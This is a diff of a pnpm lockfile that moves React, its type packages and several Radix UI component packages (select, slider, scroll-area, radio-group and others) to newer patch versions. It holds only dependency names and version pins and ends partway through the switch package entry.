-  '@radix-ui/react-progress@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-radio-group@1.4.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-radio-group@1.4.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
-    dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-    optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
-
-  '@radix-ui/react-roving-focus@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-roving-focus@1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-collection': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-collection': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-roving-focus@1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-roving-focus@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-is-hydrated': 0.1.1(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-is-hydrated': 0.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-scroll-area@1.2.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-scroll-area@1.2.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/number': 1.1.2
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/number': 1.1.3
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-select@2.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-select@2.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/number': 1.1.2
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-collection': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-previous': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@radix-ui/react-collection': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-previous': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-select@2.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-select@2.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/number': 1.1.2
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-focus-guards': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-focus-scope': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-previous': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
+      '@radix-ui/number': 1.1.3
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-focus-guards': 1.1.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-focus-scope': 1.1.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-previous': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       aria-hidden: 1.2.6
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
-      react-remove-scroll: 2.7.2(@types/react@19.2.17)(react@19.2.7)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
+      react-remove-scroll: 2.7.2(@types/react@19.2.18)(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-separator@1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-separator@1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-separator@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-separator@1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-slider@1.4.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-slider@1.4.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/number': 1.1.2
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-previous': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/number': 1.1.3
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-previous': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-slot@1.2.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-slot@1.2.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-slot@1.2.4(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-slot@1.3.0(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-slot@1.3.0(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-slot@1.3.3(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-switch@1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-switch@1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
